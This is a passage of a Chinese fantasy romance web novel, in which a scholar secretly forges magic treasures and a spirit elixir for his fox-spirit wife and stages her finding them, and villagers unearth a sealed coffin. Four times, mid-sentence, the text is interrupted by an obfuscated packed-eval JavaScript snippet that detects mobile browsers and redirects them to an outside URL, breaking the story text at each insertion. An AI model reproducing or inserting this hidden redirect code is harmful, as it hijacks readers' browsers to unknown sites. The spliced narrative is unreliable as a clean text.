胡翘翘俯下身子,头发垂落几丝在陈子均的肩上,带着淡淡香气。 “相公,你画这干什么?” “哦,我打算待会儿去找木匠造一辆车。” “啊?为什么要造车?” 陈子均停下笔,扭头看着她,笑道,“我们总不能走路去省城吧?” 现在凡人最常见的陆地交通工具,无非就是骡车、牛车或者步行。 马车倒是也有,但马车一来能拉的重量少,二来不够平稳,实际上并没骡车和牛车受欢迎。 从清水镇到省城有几百里路,步行显然不合适,那就只剩牛车或者骡车可选了。 倒也可以在镇上雇一辆牛车,但雇的车自然没有定制的舒坦方便,而且他们要带走的东西也不少,光是书就有一个大书箱,普通的牛车空间太局促,所以他想了想,还是决定自己找工匠定制一个。 “啊,那不是还要买骡子或者牛?”胡翘翘一愣。 “买牛吧,牛能拉得重量更多,不过等车造好再买也来得及。” “又要造车,又要买牛,我们有没有这么多钱呀?”她很担忧,接着又想到什么,跑去翻出自己的小荷包,“对了,上次我还剩了十几两银子呢,相公拿去用吧。” 陈子均笑了,抬手揉揉她柔软的头顶,“你自己留着,我这里有钱,足够用。” 胡翘翘这才放心,她又凑过去,仔细看陈子均画的图纸,“相公设计的车是什么样子啊?” 陈子均边画,边同她讲解。 “你看,车厢我打算分成三部分,前面放几个软垫,用来歇息聊天,中间还有个小几可以放吃食,下面还可以装炭炉,天冷的时候便会很暖和,前面的车顶有个木棚伸出去,可以挡雨挡太阳。” “中间这部分最宽敞,铺上厚褥子,娘子若是半路困了,可以睡会儿午觉,最后一部分拿来放行李……还有,前中两部分都能开窗,再装上窗帘,这样娘子坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892957|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车的时候也能看会儿风景。” “相公想得可真周到。”胡翘翘感叹完,又碎碎念,“可惜我和小青都不会画符,若是有上次那个缩地成寸符的话,就不用牛车了,哎,那两个五行宗的女修真小气,就让我们用了那么一小会儿,还要拿回去……” 陈子均附和地点头,“是啊,真小气。” 胡翘翘又打了个小哈欠,昏昏然,懒洋洋地说,“相公,我困啦,去睡一会儿。” “嗯。” 画完最后一部分,陈子均放下笔,检查数据无误,便将这些纸晾在一边,等墨迹干涸。 然后,他扭头朝床的方向望去。 胡翘翘睡得正香。 天气渐渐热了,她原本盖着层薄毯,但睡着后出了点汗,便不知不觉地掀开了。 她是侧着躺的,胸口被挤压,两只小白兔随着她的呼吸轻微起伏,似乎要撑破抹胸跳出来,与一路往下的纤纤细腰形成了鲜明的对比。 一道阳光透过窗子的缝隙,悄悄地溜进来,刚好从侧后方罩着她。她的长发散开,绸缎一般流泻下来,每一根发丝都根根分明地发着光,脸颊还泛着淡淡的粉,看上去意外的柔和美丽。 有几根头发粘在了她的脸上,胡翘翘迷迷糊糊地哼了声,抬起小爪子挠脸。 陈子均注意到了,走过去,伸出手,把那几根头发丝拈了起来,放到了一边。 她砸了下嘴,很安稳地继续睡。 陈子均笑了笑,转身将几张图纸拿起来,出了门。 他到了村中木匠——王婶子丈夫那儿 ,将自己的要求清楚详细地说了一遍。至于费用,王婶子丈夫主动只收了个工本价。 这车造好估计要用一个月,等造好之后,他和胡翘翘也差不多要离开了。 从木匠那儿出来,陈子均并未直接回去,而是等走到隐僻无人处后,身形便消失了。 再出现时,他已经来到一处山洞内。 陈子均取出了从五通娘子那儿得来的七彩羽扇、粉色轻纱这两样法宝,抹掉了上面五通娘子的气息,而后,掌心中再次冒出那外寒内热的青色火焰,开始重新炼制。 这火名为“离火”。 天下中,火元力可化分为多种,如南明离火、太阳真火、三昧真火、地底阴火、红莲业火等等,堪称多不甚数。 但离火不是“南明离火”,它便是离火,万火之源。 它不像太阳真火,有阳无阴,地底阴火,有阴无阳。余下种种火元力,也各有不足,距离完美尚有一丝差距,唯有离火,为万火之源,可焚烧世间万物,却又阴阳相生、生生不息。 这几天里,陈子均早已想好该如何炼制,此时连半分思考也没有,直接将羽扇和轻纱都投入离火之中,以神识操控着离火,小心控制着温度,同时双手打出一段段法诀,不时还往其中投入一两种新的材料。 当炼制完成之时,之前的羽扇和轻纱早已消失,取而代之的是一条女子白色长裙,如雪花一般轻盈美丽,以及一条同样材质的长丝带,丝带的两端系着两个精致无比的小银铃,还有一枚银色发簪,两条银色手链。 这条长裙上已经被他附上了多个阵法,具备防御、飞行、堪破幻阵的能力,还冬暖夏凉,自带清洁能力。除它之外,那条丝带、银铃和发簪、手链也都是为胡翘翘量身设计,各有妙用。 将这几样东西收起,陈子均开始做下一件事。 这次,他取出的是姑获鸟和五通娘子的妖珠,然后信手加上几种近期用息壤催生出的灵草灵药,以离火淬炼,很快,将这两颗妖珠炼成了三百滴碧绿晶莹的灵液。 虽说两颗妖珠加起来只有近两千年的妖力,但因为添加了不少材料,这每一滴灵液都能为妖族增加十年左右的修为,更重要的是,因为离火提炼掉了它们里面的妖气杂质,它性质温和,即便多次服用,对妖族的根基也不会有太大的影响。 不过,之前的胡翘翘的命魂实在太过弱小,即便这灵液已经极为温和,她依旧承受不起这药力的冲击,所以陈子均一直没有动手。直到三年过去,再加上近三个月太阴星力的滋养,她的命魂虽然还是极弱,但总算可以勉强承受一滴的药力,陈子均才放心炼制。 陈子均找出两个小瓶,沉吟了会儿,将一个瓶中装了两百余滴这液体,另一个瓶中装了数十滴。 “好了,接下来,就是该怎么给她了……” 第87章 掏心掏肺(万字更新完毕求订阅) 胡翘翘午休睡醒,懒洋洋地起床,见陈子均还没回来,她套上衣服,梳好头发,又去厨房摸了个红糖粽子吃。 “真好吃!”红糖味儿的超出她想象的好吃,她决定暂时抛弃豆沙粽子,将红糖列为她心中的最爱。 吃完一个粽子,胡翘翘舔舔红唇,思考着还能做什么,抬眸望了眼已经有些往西边偏移的日头。 “对了,晾好的衣服该收了。” 来到后院,胡翘翘开始动手收取衣服。 忽然,凭空呼啸起了一阵风,将陈子均的一条布腰带给吹了起来。 胡翘翘“哎呀”一声,赶忙伸手去抓。 不料那风很淘气,将腰带吹得忽上忽下,就是不让她抓住。 胡翘翘抿抿唇,施展呼风术,想将腰带吹回来,但她那丁点儿妖力,杯水车薪,折腾了半晌,不但没能拿回腰带,反而看着它被风吹着,忽忽悠悠地往外飞走。 “小青,小青……”她喊了两声小青,却没听到回应,也不知青蛇是睡熟了,还是不在家里。 胡翘翘无奈,只能独自去追腰带。 片刻后,腰带被吹到了墙沿上,挂在那里飘荡。 胡翘翘松了口气,见四周无人,便爬上墙,伸手去拿腰带——身为狐妖,爬墙什么的,对她来说小事一桩! 眼见指尖刚要够到腰带,突然又有一只雀儿飞来,叼起腰带,腾空而起,飞到一棵树上。 “乖鸟鸟,”胡翘翘眨眨眼,软声道,“将相公的腰带还给我,好不好?” 鸟儿停在那树上,叼着腰带,歪着脑袋看她,那圆溜溜的小眼珠似是嘲讽她在想屁吃。 胡翘翘顿时怒从心头起,一个小小风刃打过去。 鸟儿只是轻轻拍了下翅膀,就躲开了,叼着腰带往前方的山林飞去。 “别跑,将相公的腰带还给我。” 胡翘翘踌躇了片刻,还是觉得相公的腰带比较重要,选择拔足追它。 一鸟一狐,一飞一追,不知不觉间,竟然来到了山中深处。 鸟儿叼着腰带,终于停在了一棵大树的顶端,离地面有数十米,然后将腰带丢在那里的鸟巢中,自己飞走。 “这么高……”胡翘翘抬头望去,感觉脖子都要折断了,才隐约看见飘荡的腰带一角。 怎么办呢? 眼见四周无人,她拿定主意,突然变回狐狸原形,顿时原地出现一只足有成年人大小,全身皮毛如雪般的漂亮白狐。 往后退了一段路之后,狐狸四足如飞地朝那大树奔去,几步之间,她的速度便提升到极致,接着爪子勾住树皮,一鼓作气地狂奔而上,直奔大树顶端而去! “糟糕,还差一点……” 胡翘翘忽然感觉到自己的冲力到了极限,身子开始下坠,而现在距离那鸟巢的位置还有十来米的距离。 她连忙用爪子狠狠勾住树皮,身子依旧往下滑,四条腿在树干上拉出四排深深的划痕,好在她及时甩出尾巴,勾住一条粗壮的树枝,才终于稳住了身形。 “呼,好险……” 胡翘翘保持着这个姿势,扭过脑袋,往下看了眼,赫然见到她所在的位置离面已经有数十米高,顿时心惊胆战,全身狐毛炸起。 其实对狐妖来说,即便从这高度跌下去,也不至于伤筋动骨,但无奈她怕高呀! 看了便头晕,全身发软! 在那里歇了好一会儿,胡翘翘才颤巍巍地用爪子向上爬。 片刻后,她终于来到了顶端,见到了鸟巢和里面的腰带。 胡翘翘伸出一个小爪子,轻轻勾住腰带,将它拿了回来,同时在自己的脖子上绕了两圈,防止再失落或是被鸟叼走。 鸟巢中还有几颗圆滚滚的鸟蛋,见此,胡翘翘面色变幻,一会儿目露凶光,恶狠狠道,“哼,吃掉你们!”一会儿又有些不忍,“唉,又不是你们的错。” 小狐狸天人交战了许久,终于决定放过这几颗鸟蛋,正准备下树,忽然,鸟巢角落中的一抹微光映入她眼中,她一怔,探出爪子,在里面掏摸了会儿,摸出一个小袋。 袋子外面布着一层奇异的微光,彰显着不凡。 “这是……” 胡翘翘打量着手中小袋,总觉得似曾相识。 她蓦地想起,上次五行宗那两个女修士的腰里都挂着一个差不多的袋子,虽然花纹和她手中这个不一样,散发的光芒也要稍黯淡一些,却连一座小山那么大的棕熊尸体也能轻松装入和取出。 难道…… 胡翘翘又看了眼鸟巢,有些不解。 如果这袋子真是修士们的储物袋,怎么会出现在这里? 不过,这树顶显然不是思考的好地方,小狐狸稍一犹豫,便决定先回去再说。 她将袋子咬在嘴里,然后小心翼翼地往下爬。 刚爬到一半,尾巴缠住的一条树枝忽然断裂,胡翘翘一个没提防,朝下坠落,像个火团般地连翻带滚,跌在地上,咬在嘴里的小袋也摔了出去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892958|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 呜呜呜,有点痛…… 胡翘翘躺在地上,龇牙咧嘴了会儿,感觉没那么疼了,才爬起身。 远远地望着她的陈子均也揉了揉眉心,长呼出口气。 在胡翘翘从树上跌落的一瞬间,他差点就选择了出手救下,在即将动手的时候,忽地想到这高度对她造不成多大伤害,这才停下了动作。 险些就暴露了…… 胡翘翘从草中翻出小袋,拿在手中仔细端详,嘴里小声嘀咕,“……如果它真是储物袋,怎么跑到鸟窝中呢?” 这句话刚说完,突然那小袋上的光芒骤然变得更明亮了几分,霎时间,袋口处竟然传出一个有些沙哑、暗涩的声音。 “很简单,因为它的原主人早已身陨道消,腐朽成泥,而它在山中静静躺了数百年,终于被鸟雀叼到窝中。” 这突如其来的一幕,立刻使得胡翘翘吓了一跳,她想也没想地便将袋子扔到几米开外,同时后跳了一大步,夹着尾巴,圆溜溜的眼睛警惕又不安地盯着它,“你是谁,怎么、怎么在说话?” “不要紧张,我是原主人临死前在袋子上留下的一抹神识,”那声音轻咳道,“小狐狸,你能捡到它,说明你和它有缘,按照我原身的遗愿,这袋子,连同里面的宝贝们就全部送给你。” 胡翘翘一愣,眨眨眼:“你说,要将这袋子,还有里面的东西送给我?” “自然!” 胡翘翘却并未喜出望外,而是愈发狐疑,“真的?天下竟有如此好事?为什么要全给我一个陌生人,他没有亲戚朋友或是同门之人么?” 那声音沉默了会儿,仿若在思考如何回答,片刻后,幽幽叹了声气。 “我原身本就是个孤儿出身的散修,一辈子无亲无故,连弟子也没收一个,即便想送人,也找不到合适的人选……好了,不说这个了,你应该不会用储物袋吧,快过来将它捡起,我教你如何印下神魂烙印,这样的话,才能保证除你之外的人都无法使用它。” 胡翘翘依旧犹犹豫豫。 “你怎么不动?”那声音问。 “我还是不太放心。” “……为何?” “相公常说,但凡一件事儿好到反常,就很可能不是香喷喷的馅饼,而是陷阱在等着你跳,”小狐狸眨巴着大眼,“他还时常说,倘若有陌生人无缘无故就对你掏心掏肺,多半是想对你掏心掏肺了。你……不会是想骗我吧?” “……” 他为什么会说这么多废话! 第88章 信你一次 那声音噎了半晌,才道,“你相公的话,也不一定全是对的。” “不,相公从没错过。”胡翘翘的语气斩钉截铁。 “呵,那你说说,我为何要骗你?”那声音有些高傲与不屑,“你一只小狐狸,妖力又稀薄无比,有什么东西值得我骗?!” “才不是,”胡翘翘瞪大眼,不服气地哼了一声,“相公常说,翘翘是天下最好的宝贝,拿什么东西给他都不换呢!何况,也许……也许你是想让我靠近,然后想办法夺我的舍!没错,相公以前给我讲的故事里便有这种情节!” “相公相公相公相公……”那声音嗤笑了一声,“看样子,你的相公对你十分重要?” “当然啦,虽然相公只是凡人,但在这个世界上,我最爱的人、最相信的人、最重要的人全都是相公,连我自己都只能排在相公后面,相公的任何事情、说过的任何话,我都不会忘记!” 那声音沉默片刻,道,“既然如此,你就更要变强,才能好好保护他,是不是?” 它变得轻柔起来,仿若在循循善诱,“你可知道这袋子里有什么?除了我原身之前得到的几样极品法宝之外,还有一种奇异的灵液,只需服用一滴,就能增长妖怪的十年修为……” 胡翘翘一怔,“……只需要一滴,就能增加又是十年修为的灵液?” 小狐狸的心砰砰跳动起来。 变强,保护相公,是她现在最大的心愿。 这个诱惑,实在太大了! 只是狐性警惕,她依旧难以决定,在原地踟蹰不前,毛茸茸的大尾巴甩来甩去。 天下……真有这么好的事儿么? “这么好的灵液,原主人为何自己不用?” “这灵液是妖族专用,”那声音道,“我原身是人类,服用再多也没有效果。” “……” 勉强算是能自圆其说吧。 “我知道,你害怕我骗你,”那声音又叹道,“小心谨慎自然很好,但有时也不宜太过保守慎微……你想想,我若真要夺你的舍,你从树上下来那一段时间,岂不是最好的机会?何况,我要是真对你有什么歹意,何必出声引起你的注意,趁你不备岂不是更加方便?” 小狐狸犹豫许久,一双圆溜溜的眼珠子转个不停。 说得也对,对方若真有什么阴谋,方才就应该动手了。 片刻后,她再次小心翼翼地问道:“你真的没骗我?” 那声音似是无奈,喃喃道,“罢了罢了,我只是不想这些宝贝最终暴殄天物,你若坚持不信,我也无法,这缕神识很快便会消散,只希望你以后莫要后悔!” 胡翘翘眨眨眼,“你读过论语么?” “……什么?” “相公常说,多读圣人书,可以明理,明理能修身、养德,通人性、知天命,而且,还会重诺守信。”她轻咳一声,“若你能背出几句论语,我便信你不是骗子。” 至于为什么是《论语》,自然是因为她目前只读过《论语》啦! 那声音沉默了会儿,低声道:“子曰:学而时习之,不亦说乎……” 胡翘翘听了片刻,似乎没有错漏,大尾巴在地上扫来扫去扫了半天,才终于下了决心。 “好,我信你一次!” 她踮起脚爪,压低脊背,极其警觉地慢慢朝前走去,同时做好了万一有任何不对劲就立马撒腿逃走的准备。 咔嚓。 一声脆响传来。 小狐狸立即狐毛炸起,转身哧溜一下钻进灌木丛中,惊慌失措地叫道,“什么声音?!” 那声音似乎有些想笑:“只是兔子罢了。” 兔子? 小狐狸趴在地上,大眼睛紧张兮兮地四处张望,果然,不远处有一只蹦跳着的野兔,方才那一声“咔嚓”,似乎是它踩到落叶所发出的。 “你可是狐妖,该不会害怕兔子吧?”那声音道。 “笑话,我怎么可能会怕兔子。”胡翘翘恼羞成怒。 为了证明自己的话,她扑过去,张大嘴,将那只兔子一口囫囵吞掉,一脸凶神恶煞地道,“你看,我都敢吃它呢!” 那声音轻飘飘地道:“啊,果然厉害。” 胡翘翘哼了一声,怎么觉得对方是在说反话呢? 算了,她不去研究这些,而是再次鼓起勇气,朝着袋子小心翼翼而去。 近了,更近了。 还剩三步、两步、一步…… 胡翘翘停下,将一只爪子探长到极限,再用爪子的尖尖,极其小心地轻触了下袋口。 呼—— 没有异样。 那声音似是在笑又像是在叹气,“你太小心了吧?” “相公常说,小心无大错……”胡翘翘的胆气又足了几分,终于迈出了最后一步。 …… 拿着小袋回到家中,胡翘翘看到了在院子里打扫落叶的小青。 “小青,相公回家了吗?” “嗯,公子回来了,应该在房里。” 胡翘翘跑进卧房。 “相公。” 陈子均放下手中的书卷,温声问,“怎么了?” 胡翘翘转身关上门,走 到他身边,才小心翼翼地摊开手,露出手心中那散发奇异微光的小袋。 “相公,你觉不觉得,这个袋子有些儿眼熟?” 陈子均定睛看去,接着倒抽了口冷气,露出惊讶之色,“这该不会是修士们用的储物袋吧?你从哪儿得来的?” 胡翘翘将方才之事从头至尾说了一遍。 陈子均听完,第一时间却不是问她袋子里有什么宝贝,而是关心地看着她,“那娘子没事吧?” 胡翘翘的心中顿时一甜,晃着脑袋,“没事,它没骗我!” “幸好……”陈子均这才呼出口气,温声道,“下次再遇到类似的事情,别急着做决定,先回来和我商量商量,知道了吗?” “啊,翘翘太笨了,没想到……”胡翘翘连忙点头,“下次会记住的,先和相公商量。” “那你学会怎么用了吗?” “嗯嗯,它已经教我在袋子上打了我自己的烙印,我能用它装东西和取东西了。里面的空间好大呀,可以装许多许多东西呢,好神奇!对了相公,你猜猜里面都有些什么宝贝!” “我猜不到。” “这条裙子、丝带、发簪和手链,都是很厉害的法宝哦,它说是原主人无意中得到的,一直没派上用场……可惜现在我还穿戴不了,等修为再高一些才能用,” 她献宝似的一样样取出来,每取出一样,还给陈子均讲解用途。 尤其是那条仙气飘飘的长裙,她爱不释手。 不光款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892959|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式是她从未见过的漂亮,几乎就像天上仙女所穿的一般,她方才还听那声音说这条裙子冬暖夏凉,自带洁净术,刀枪不入,水火不侵,还能够抵挡神通境之下的修士和妖怪的攻击和幻术,甚至连针对命魂的攻击也有一定防护。 这时,她心头一动,好奇地道:“不知道它能不能挡住雷果的攻击?” 陈子均咳了一声,“应该能罢?要不,娘子试试?” 胡翘翘犹豫了一会儿,还是没胆子做这试验,这条裙子这么漂亮,就算能抵挡住雷果的攻击,若是弄得破损了,她一定会心疼死。 最后是一个小瓶。 “最重要的宝贝,就在这个瓶子里面。” “是吗?这瓶里装的什么?”陈子均问。 胡翘翘吸了口气,左右看了眼。 “一滴就能增加妖族十年修为的灵液!”她虽激动,仍没忘记压低声音,认真地道,“这样一来,翘翘就能很快变的厉害,好好保护相公了!” 虽说对方交代过她,因她现在的实力太弱,哪怕一滴,也需要至少一个月才能彻底吸收完毕,等实力增长到一定程度,才能加快吸收。即便如此,也会比她自行修炼要快得多。 而等到她修为突破三百年之后,才有足够的实力驭使那几样法宝。 陈子均震惊:“真的?” “它是这么说的啦……” 在教完她如何服用这灵液之后,那缕神识便烟消云散,至于它说的是真是假,目前还不得而知。 胡翘翘雀跃地问,“相公,我要不要现在试试?” 陈子均沉吟了会儿,说,“先别急,等我会儿。” 他出了房间,倒了一杯水,又返回。 “先在这杯水里滴一滴。” 胡翘翘打开小瓶,将瓶中晶莹剔透的灵液滴了一滴在杯中。 陈子均晃了晃杯子,等灵液与水混为一体之后,方走到门口,“小青。” 青蛇闻声走过来,“公子,找我有事吗?” “你将这杯水喝了。”陈子均把杯子递给她。 胡翘翘愣了一瞬,才想明白陈子均的用意。 青蛇没有丝毫犹豫,接过杯子,一口饮尽,当水入腹之后,她忽然全身一震,眼中出现一股强烈无比的惊讶之色。 陈子均问,“有什么感觉?” “似乎……我的妖力在不停增加!” 这水中含有的妖力极其澎湃,仅仅是刹那,就涌出了磅礴的数量,比她平时修炼的速度,要快上千百倍,好在她之前也算是个不大不小的妖怪,勉强抵挡住了这突如其来的冲击。 陈子均又问:“可有不适?” 青蛇闭上眼,感悟了片刻,才睁开双眼,“除了一开始,有些被冲击的轻微疼痛,并未发现什么其它的不适!” 陈子均颔首,“你先去吧。” 青蛇应了声“是”,立刻转身离开。 她要赶紧趁着这个时间,去炼化吸收掉这大量的妖力。 等小青走后,陈子均才对胡翘翘说,“看样子,应该问题不大,可以放心服用。”顿了顿,他又道,“不过,小青说有些疼痛,还是先稀释了再服用更安心,依我看,可以将一滴稀释成三十份到五十份,你每天服用一份,等彻底吸收之后,再服用下一份。” 胡翘翘心中是满满甜蜜,“嗯,相公想的真周到。” 第89章 买下老牛 当夜,胡翘翘就服用了一份稀释后的灵液。 尽管那灵液已经被稀释成了之前的五十分之一,但在吞入肚子里的瞬间,一股无法形容的磅礴又暴虐的力量,仅仅是刹那,就将她身体直接淹没,胡翘翘顿时感觉自己仿若化作了海上风暴中的一叶孤舟,被疯狂撕扯,全身都传来疼痛之意。 呜呜,虽然有小青的例子在前,她也做好了会有点疼的心理准备,但没想到,居然会这么疼! 这还是稀释过的,如果一次性服用一整滴,会怎么样……她无法想象! 胡翘翘疼得没力气再胡思乱想,咬紧牙关,立即运转太阴感应诀,将这灵液中的妖力重新炼化为太阴星力。 额头上不断渗出薄汗,她虽闭着眼,却能感觉到,陈子均不时用柔软的湿巾替她擦汗,只是她全部心神都在抵挡冲击之上,连睁开眼,朝他温柔一笑都办不到! 汗水擦干了,转眼再冒出来,陈子均却依旧不停替她擦拭,不厌其烦。 额头能擦,身上却没用。 很快,她全身衣裳都被汗水浸湿。 好在太阴星力至纯至柔,随着被转换出的太阴星力越来越多,灵液中的妖力越来越稀薄,那疼痛也越来越轻,到了后面,她便不再颤抖和出汗。 过了数个时辰后,天色微亮,胡翘翘才睁开双眼。 这是她第一次修炼整夜。 没办法,一开始是疼痛难忍,后来怕停下修炼,会导致灵液中剩余的妖力逸散,那岂不是白疼了。 于是,她花了一整夜,将灵液中的妖力炼化了七七八八,才停了下来。 在睁开双眼的瞬间,她便看到正注视着她的陈子均,眼圈立即一红。 她知道,相公同样整夜没睡,一直守在她的身边,温声安慰她,鼓励她。她虽然无法分心应答,却都知道得清清楚楚! 小狐狸心里全是感动,一下扑进陈子均的怀中,一开口,声音已经有几分哽咽,“相公,你对翘翘太好了……” “你是我娘子,我不对你好,对谁好?”陈子均柔声说完,又问,“这灵液有没有用?” 胡翘翘闭上眼,查看自己的修为,少顷后,她猛地睁开,眸子里全是惊喜。 “相公,我的修为多了好多!” 这一夜修炼的成果,比她之前的三个月有过之而无不及! 陈子均笑了,“嗯,这就好。对了,我已经吩咐小青烧了水,娘子先去洗个澡,再换身干爽的衣服。” 胡翘翘这才想起这一夜,她身上的汗出了一层又一层,再低低头,顿时闻到自己身上的汗味儿,虽然只有淡淡的气味儿,她却感觉臭不可闻,立即弹开,离陈子均远远的。 “我、我去洗澡啦!” …… …… 后面一段时间,胡翘翘继续每天服用稀释后的灵液。 好在,第一次的疼痛最为强烈,后面倒是一次比一次要疼得轻了。 看着蹭蹭上涨的修为,小狐狸喜悦无比。 半个月之后,她的心愿已经初步完成——一次性用生水术灌满一个水缸。 除此之外,洁净术也可以弄干净一整个房间,生火术可以生出好几个大火球,她还从小青那儿学到了几个新法术,什么穿墙术、遁地术等等等等。 时间来到六月,枝头蝉鸣渐盛。 这天傍晚,陈子均从王木匠家回来。 牛车的打造进入了尾声,再两三天就能完成,他也计划着手买一头牛了。 看样子,过几天得去一趟市集…… 不远的路上,有村民正与一头老牛在树影下歇息,看见陈子均,立马笑呵呵地打招呼,“秀才好啊!” 陈子均也向他笑了笑。 “哞——”老牛冲他长长地叫了一声,走到他面前,低下脑袋,用湿漉漉的舌头舔了舔陈子均的手。 陈子均怔了怔,忽地认出了它。 “是你啊。” 白崖村一共就两头牛,赶集日拉着村民前往市集,没有市集时,便下田劳作。 这头老牛,就是上次险些拉不动牛车的那头。 “是啊,它聪明的很,也认得秀才公呢。”村民说完,又抚着老牛的脊背,叹了声气,“可惜它老了,耕不了一会儿地就得歇息,拉车也快要拉不动了……我本想买头新牛,但隔壁村那个杀牛的问了我好几次,我都没忍心卖了它。” 陈子均沉吟一下,开口道,“我正好想买头牛,要不然,就将它卖给我吧?” 村民一愣,“秀才公,这牛这么老,你买它做什么?” 陈子均微微笑道,“过些日子我就要同我娘子去省城,正缺头牛替我们拉车。” “不行不行,它的腿脚已经无力,一天也走不了几里路,”村民摇头,“秀才公要去省城的话,还是买头一两岁的壮牛更合适。过几天市集上有牛贩子,到时候我陪你去挑一头最健壮的好牛!” “不打紧,慢慢走即可。” “秀才公,你有所不知,这么老的牛,如今只能屠宰了吃肉,我要是把它卖给你拉车,让咱村其他人知道,非得戳烂我的脊梁骨不可!” “老牛的价格低,较为划算。”陈子均笑 道,“而且,老牛走得虽慢,却更平稳,只要能照顾好它,十天半月的时间,慢慢拉到省城,总是没问题的。” 那村民听他如此说,犹豫起来,“秀才公是真想买这头牛?” 陈子均点点头,又问,“你要卖多少银子?” 村民思索一番,赧然道,“杀牛的给我报价五两银子,若是秀才公想买,给四两即可。” 如今一头壮年耕牛得二十两银子,这头牛虽老,但四两银子,确实也是便宜之极。 陈子均取出些碎银,“无妨,我给你六两。” “那怎么行!” “多出二两,用来请你暂时帮我继续喂养它,等我离开之时,再将它交给我。” “原来是这样。”村民笑开,“得咧!我定会将它喂得好好的,也不会再让它下地和拉车!” 将银子交给村民,陈子均又走到老牛跟前,抬手摸了摸它的脑袋,微微一笑,“这段时间好好休息,回头替我拉车。” “哞——” …… 夜深、人静。 清平镇数里外的某处荒郊。 有两个男人正在挖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892960|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掘着什么。 片刻后,其中较瘦的一人停下铁锹,喘气道,“大河,我们都挖了半天了,也没见到那劳什子的怪虫,你确定是在这里捉到的?” 另外一个粗壮男人道,“我还能骗你不成,前几日夜里,我喝醉了,不知怎么跑到这里来撒尿,忽然听到土里有什么声音……” 那声音原本极为细微,但这里僻静,因此被他捕捉到。 他喝了酒,不觉害怕,反而将土刨开,发现土中有条灰白色的怪虫,那响动便是它在土中蠕动时发出。他想起以前见过一种名为“白僵蚕”的珍贵药材,而这怪虫除了尺寸大上许多之外,倒和那白僵蚕很是相像。 于是,他捡起身边的石头,朝它砸去,没想到这怪虫身体异常坚硬,他连吃奶的力气都用了出来,连砸十七八下,方才将它砸死。 第二天,他将怪虫尸体拿到镇上的药铺,想要换些酒钱。谁知药铺中人说他们从未见过这种怪虫,不肯收。 他正没好气时,忽然有一个路过的男子用一两银子将这怪虫买下,还问他这怪虫从哪得来。他见对方出手阔绰,猜想这怪虫定然颇为值钱,便留了个心眼,推说记不清,含混过去。那人倒也不生气,只说他若发现更多这怪虫,可以去省城某家药铺找他,依旧是一两银子一条。 他想那怪虫定然不止一条,为了避免惊扰到人,兼之上次他是在夜晚发现那怪虫,便等到半夜,才叫上自己兄弟一起来这里寻找。 两人继续在四周埋头苦挖,片刻后,土中忽然传来一阵沙沙作响之声。 “一定是了!” 随着下挖几尺深,果然见到了一条灰白色的怪虫在扭动。 两人举起手中铁锹,一阵乱拍,终于将它打死。 “这便是一两银子!” “继续找!” 一条自然远远不够,而且土中还不断传出沙沙声,两人精神振奋,顺着声音来源,继续用力往土深处挖去。 突然其中一人的铁锹一顿,发出一声撞击之响,似乎碰到了什么东西。 两人都是一愣,继续挖,很快就知道了那东西是什么。 竟是口葬在地下的黑棺,四面画着些鲜红似血的奇异符文,在棺盖上还贴着一张黄符,与外界相隔,也不知埋在这土里多久了。 “这里,怎么会有口棺材……”较瘦者有些惊骇。 他正骇然间,突然感觉到左脚上有个冰冰冷冷的东西,似乎还在蠕动,低头一看,不知何时土里钻出了一条怪虫,正爬在他的脚背上,一股寒意顿时从左脚开始往上蔓延着。 他吓得连忙抬脚,想将怪虫甩开,结果没站稳,身子就往一边倒去,出于本能,他一只手就扶在了棺盖上,一个不小心,将那张黄符扯了下来。 突然,四周的温度瞬间下降,仿佛一下从六月天来到了寒冬。 两人都冻得打了个哆嗦,更是被这诡异的变化给惊呆了。 “这是怎么回事?!” 这时,又有吱嘎一声传来。 两人循声望去,不知何时,方才那黑色棺木的盖子竟然在缓缓挪开,而后,一股浓厚无比的血腥气,从棺材的内部飘了出来…… …… 第90章 血尸现身 次日,正午,阳光将人间照耀得无比明亮,仿佛一切邪恶都无处容身。 清平镇,某处大院中。 